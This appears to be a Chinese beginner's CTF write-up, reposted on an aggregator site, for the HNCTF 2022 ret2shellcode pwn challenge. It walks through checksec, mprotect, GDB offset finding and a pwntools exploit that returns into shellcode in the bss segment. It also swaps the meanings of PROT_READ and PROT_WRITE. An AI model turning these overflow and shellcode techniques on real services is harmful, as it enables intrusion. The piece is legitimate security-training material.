【PWN刷题__ret2shellcode】[HNCTF 2022 Week1]ret2shellcode

news2024/11/25 21:15:47

本蒟蒻的ret2shellcode的开篇之作!

第一次实战ret2shellcode,该类型的简单题但是也研究了很久!

目录

前言

一、checksec查看二进制文件​

二、查找后门函数 

三、IDA反汇编 

bss段

mprotect()函数

四、GDB调试

GDB基本的一些用法

偏移量计算

五、exp 

shellcode获取 

context

总结


前言

ret2shellcode——顾名思义,控制执行流到shellcode

在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?

依此,主要的过程如下:

(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限

(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码 


写在前面

在按部就班地进行尝试过程中,总结了一些知识和方法,其中有一些因为个人的萌新蒟蒻水平,是未知错误,尚不能解决,但是复现给大家,也许大家比较清楚个中问题。

下面将复现我的实现过程

一、checksec查看二进制文件


二、查找后门函数 

按照我们的思路(虽然题目很明显在提示,但是这步在逻辑上是不可或缺的),看看有没有后门函数供我们ret2text

objdump -t XXX               查看程序中使用到的函数
objdump -d XXX               查看程序中函数的汇编代码
objdump -d -M intel XXX      查看程序中函数的汇编代码,并且汇编代码是intel架构的
objdump -d -j .plt XXX       查看plt表
           -j的参数有:.text  代码段
                      .const 只读数据段(有些编译器不使用此段,将只读数据并入.data段)
                      .data  读写数据段
                      .bss   bss段

下面还有好多没有截屏出来,but没有我们期待的后门函数——那么ret2text应该就是不行的,尝试如题目的,ret2shellcode 


三、IDA反汇编 

F5大法

 一眼read危险函数,存在栈溢出,非常好。然后将s复制到buff里,buff在哪里呢?bss段

 bss段

在采用段式内存管理的架构中(比如 intel 的 80x86 系统),bss 段(Block Started by Symbol segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,一般在初始化时 bss 段部分将会清零(bss 段属于静态内存分配,即程序一开始就将其清零了)。比如,在 C 语言程序编译完成之后,已初始化的全局变量保存在.data 段中,未初始化的全局变量保存在.bss 段中。

简单来说,定义而没有赋初值的全局变量和静态变量 , 放在这个区域

程序主要溢出部分我们理清了,可是回顾之前的checksec,这个二进制文件是NX enabled的,不可执行保护啊!怎么办??——话说第8行代码mprotect(...)是什么意思? 

mprotect()函数

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性
函数原型如下:

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行

4)PROT_NONE:表示内存段中的内容根本没法访问。

——详情点这里

也就是说,部分地址在经过这一句代码后,保护属性变成了可执行! 因此可以用ret2shellcode!


四、GDB调试

原本其实对GDB并不熟悉,想着也借着这个机会好好学习一下基本用法。为这么突然要用GDB调试呢?主要是对bss段以及什么地方返回不清楚——好像偏移量可以通过报错来显示

GDB基本的一些用法

说一下本次用到的GDB的一些基本用法

next/n          单步调试
next/n [num]    单步跳过num步
b main          在main函数处设置断点
vmmap           查看各段属性/rxw
run/r           运行程序

我们先来尝试调试一下,顺便看看是否段保护属性值真的发生了变化

在main函数处下断点 

r(run)开始运行

vmmap查看各段保护

buff所在的段

 为 rw-p  可读写不可执行

n 30  单步调试30次后 

此时已经执行过mprotect函数,我们再vmmap查看一下保护情况

gdb贴心的标红了,此时已经有可执行权限,因此我们ret2shellcode也是可行的。

偏移量计算

插件——pwngdb 和 peda,我用的是peda

那么怎么通过报错来显示偏移量呢?

  • pwndbg
  1. cyclic 200 
  2. cyclic -l 异常地址
  • peda
  1. pattern create 200
  2. pattern offset 异常地址

输入过量的数据覆盖EIP,然后在dbg调试中的异常地址,即可找到偏移量,这篇博客说明了用法。 

然而,我却遇到了问题

pattern create构造400个字符,然后复制粘贴给read(运行到了read函数处会等待输入,此时复制粘贴到n下一行(卡住了等待输入),注意不要单引号) 

异常地址0x40125c 

pattern offset 0x40125c企图得到偏移量

哦吼,失败了~~不知道有没有大佬说一下why 

——后来通过别人的wp,好像偏移量就是

buff 256个字节    +    8个字节64位程序的ebp(?)   +   ret 

【不太明白】 

不管辽,开始exp编写


五、exp 

shellcode获取 

获取Shellcode的两种方法:

  • 手写(初学时推荐手写):想办法调用execve("/bin/sh",null,null)

传入字符串:/bin///sh  (why /// 三个不晓得,求助)
系统调用execve

  • pwntools自动生成(比赛时使用这种方法)

先指定context.arch="i386/amd64"  (context稍后细🔒)
asm(自定义shellcode)
asm(shellcraft.sh())

自动生成shellcode

from pwn import *

r = remote(" ",port)  #远程连接,“”网址,port填端口号

buff_addr=0x4040a0

shellcode = asm(shellcraft.sh())

bias=0x100+0x8        # 256+8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

r.sendline(payload)

r.interactive()

但是连接时似乎出了问题。。。

不回显!!淦,直接退出。。。

context

context 是 pwntools 用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

一般来说我们设置context只需要简单的一句话:

context(os='linux', arch='amd64', log_level='debug')

或者 context(os='linux', arch='amd64')

———点这里

1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
————————————————

不知道是不是没有设置context的缘故,but试一试呗~

from pwn import *

context.os='Linux'
context.arch='amd64'
context.log_level='debug'

r = remote(" ",port)  #远程连接,“”网址,port填端口号

buff_addr=0x4040a0

shellcode = asm(shellcraft.sh())

bias=0x100+0x8        # 256+8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

r.sendline(payload)

r.interactive()

 运行一下~

哦吼,flag出来了 !!应该就是要配置一下context的缘故吧!养成这个习惯!


总结

虽然这是一题“非常简单“的ret2shellcode,但是对于本萌新来说,第一次做ret2shellcode,有必要认真的总结一下做题规律。

在这些尝试中,确实学到了好多好多东西,与诸君共勉! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/459864.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenSearch图搜图、文搜图向量检索最佳实践

一、向量检索介绍 1.1 多模态信息的典型特点-非结构化 信息可以被划分为两大类&#xff1a;当信息能够用数据或统一的结构加以表示&#xff0c;称之为结构化数据&#xff1b;当信息无法用数字或统一的结构表示&#xff0c;称之为非结构化数据。非结构数据与结构化数据相比较而…

Rockchip芯片单板适配OpenHarmony的方法

Rockchip芯片单板适配OpenHarmony的方法 1 整体思路 OpenHarmony是一个上层用户操作系统&#xff0c;在设计上希望兼容不同的底层系统。针对于L2的Linux标准设备&#xff0c;OpenHarmony对Linux、Uboot等底层系统没有太多的依赖&#xff0c;并且在驱动方面&#xff0c;HDF也兼…

蓝桥杯省一经验+考试流程+技巧分享

今年拿了省一&#xff0c;开心&#xff0c;我渡梦酒也可以拿奖奖啦。 我对整体参赛流程还是比较熟悉了&#xff0c;给大家留下一点值得参考的东西~。 这篇纯纯经验和技巧分享&#xff0c;请放心食用~ 目录 考试流程 考试代码怎么提交 考完结束需要做什么 做题小技巧&#xf…

适合学生党的蓝牙耳机品牌有哪些?性价比高的无线耳机推荐

相较于有线耳机&#xff0c;蓝牙耳机的受欢迎程度可谓是越来越高&#xff0c;当然&#xff0c;这也离不开部分手机取消耳机孔的设计。最近看到很多网友问&#xff0c;适合学生党的蓝牙耳机品牌有哪些&#xff1f;针对这个问题&#xff0c;我来给大家推荐几款性价比高的无线耳机…

VR全景摄影,全景VR展示模式

目前&#xff0c;全景概念已经被大众熟知&#xff0c;很多行业尤其是房产、汽车等已经开始大批量使用全景展示的方式提高获客率和推广率。VR全景摄影以全景摄影技术为基础&#xff0c;结合虚拟现实技术&#xff0c;可以让用户身临其境&#xff0c;沉浸式地感受虚拟环境。 一、V…

【 Spring AOP 】

文章目录 一、什么是 Spring AOP&#xff1f;二、为什要⽤ AOP&#xff1f;三、AOP 的组成四、Spring AOP 的实现五、Spring AOP 实现原理 一、什么是 Spring AOP&#xff1f; AOP&#xff08;Aspect Oriented Programming&#xff09;&#xff1a;⾯向切⾯编程&#xff0c;它…

【Linux常见指令以及权限理解】基本指令(2)

写在前面 今天我们继续学习Linux的基本指令&#xff0c; 这里是上一篇博客的链接&#xff1a;http://t.csdn.cn/9AgHP 接下来我会继续讲解Linux指令相关内容。 目录 写在前面 1. man 描述&#xff1a; 用法&#xff1a; 例子&#xff1a; 例1&#xff1a; 例2&#…

MC9S12G128开发板—实现按键发送CAN报文指示小车移动功能

实验环境&#xff1a;MC9S12G128开发板 基本功能&#xff1a;控制开发板上的按键&#xff0c;模拟车辆移动的上下左右四个方位&#xff0c;通过can通信告诉上位机界面&#xff0c;车辆轨迹的移动方位。 1. 1939报文发送的示例代码 MC9S12G128开发板1939协议发送can报文数据的…

redmine问题跟踪系统4.1版本一键安装包下载

很好用的项目管理&#xff0c;缺陷跟踪系统&#xff0c;开源免费使用 Version 4.1.1-4 2020-08-31 由 redmineplugins.cn Admin 在 超过 2 年 之前添加 Version 4.1.1-4 2020-08-31 Maintenance releaseUpdated Apache to 2.4.46Updated Git to 2.28.0Updated PHP to 7.3.21U…

初识uniapp

创建小程序 依次点击HBuilderx 左上方的按钮&#xff1a;文件->新建->项目 然后打开该界面&#xff0c;输入项目名称&#xff0c;点击 浏览 按钮&#xff0c;可以选择项目保存的目录&#xff0c;这些完成后点击 创建 按钮就好了 比如小颖的项目名叫 &#xff1a;test-y…

基于一致性的半监督学习用于诊断x线片分类

文章目录 Consistency-Based Semi-supervised Evidential Active Learning for Diagnostic Radiograph Classification摘要方法Evidential-based Semi-supervised LearningEvidential-based Active Learning Consistency-Based Semi-supervised Evidential Active Learning for…

Java+Angular开发的医院信息管理系统源码,系统部署于云端,支持多租户

云HIS系统源码&#xff0c;采用云端SaaS服务的方式提供 基于云计算技术的B/S架构的云HIS系统源码&#xff0c;采用云端SaaS服务的方式提供&#xff0c;使用用户通过浏览器即能访问&#xff0c;无需关注系统的部署、维护、升级等问题&#xff0c;系统充分考虑了模板化、配置化、…

第四届CECC中国计算机教育大会召开,飞桨持续加码产教融合教育新生态

‍‍大模型作为人工智能发展的新方向&#xff0c;对人才的需求和培养带来了新挑战。4月21日至22日&#xff0c;以“新时代 新挑战 新任务”为主题的第四届中国计算机教育大会&#xff08;CECC&#xff09;在厦门召开&#xff0c;飞桨承办“人工智能与大模型”论坛同期举办。立足…

【Python安卓开发】BeeWare框架:环境准备

&#x1f4ad; 写在前面&#xff1a;我们假定读者已经安装好了 3.8 版本后的 Python&#xff0c;并且安装好了依赖项&#xff0c;在 Windows 上构建 BeeWare 应用程序需要 Git&#xff0c;你可以可以从 git-scm.org 网站下载。安装完毕后重新启动 cmd&#xff0c;然后就可以准备…

Compiler- 循环展开

循环展开不仅在编译原理中有涉及到&#xff0c;笔者记得在CSAPP里面也提到了这种优化方法。 话不多说&#xff0c;我们先来看个例子。 int loop(int a) {int result 0;for(int i 0; i < a; i){result i;}return result; }int loop1(int a) {int result 0;int len a/2…

虚拟化、容器与Docker基本介绍以及安装部署镜像加速

目录 一.虚拟化概述 1.虚拟化是什么&#xff1f; 2.虚拟化两大组件 3.虚拟化类型 4.虚拟化功能 二.容器概述 1.容器是什么&#xff1f; 2.容器的优点 3.容器的缺点 三.Docker概述 1.Docker是什么&#xff1f; 2.Docker容器与虚拟机的区别 3.容器在内核中支持两种重…

从0开始学习docker-1.mysql安装

从0开始学习docker 环境安装安装mysql备份镜像删除镜像镜像恢复 环境安装 yum update yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo yum install docker-ce systemc…

IOS工程:NSThread sleepForTimeInterval的使用,游戏中途中断(接电话或者点击Home按钮),重新回到游戏音频音效失效问题

IOS工程&#xff1a;NSThread sleepForTimeInterval的使用&#xff0c;游戏中途中断&#xff08;接电话或者点击Home按钮&#xff09;&#xff0c;重新回到游戏音频音效失效问题 设备/引擎&#xff1a;Mac&#xff08;11.7&#xff09;/cocos 开发工具&#xff1a;Xcode 开发…

composer 安装gitlab私有库

开发PHP项目&#xff0c;免不了用composer。最近做一个项目&#xff0c;需要到公司内部开发的核心包&#xff0c;核心包放在内网搭建的gitlab仓库中&#xff0c;于是我用composer进行下载&#xff0c;报错&#xff1a; Cloning into bare repository C:/Users/Administrator/A…

Mac电脑系统管家CleanMyMac X4.13安装下载使用教程

当我们刚刚拿到那闪亮的新Mac时&#xff0c;是多么令人愉悦的一种感觉&#xff01;随着时间的推移&#xff0c;你可能已经注意到它的速度减慢&#xff0c;磁盘空间逐渐减少。不用担心&#xff0c;CleanMyMac会为你的电脑带来焕然一新的体验。这篇文章将向你介绍CleanMyMac的奇妙…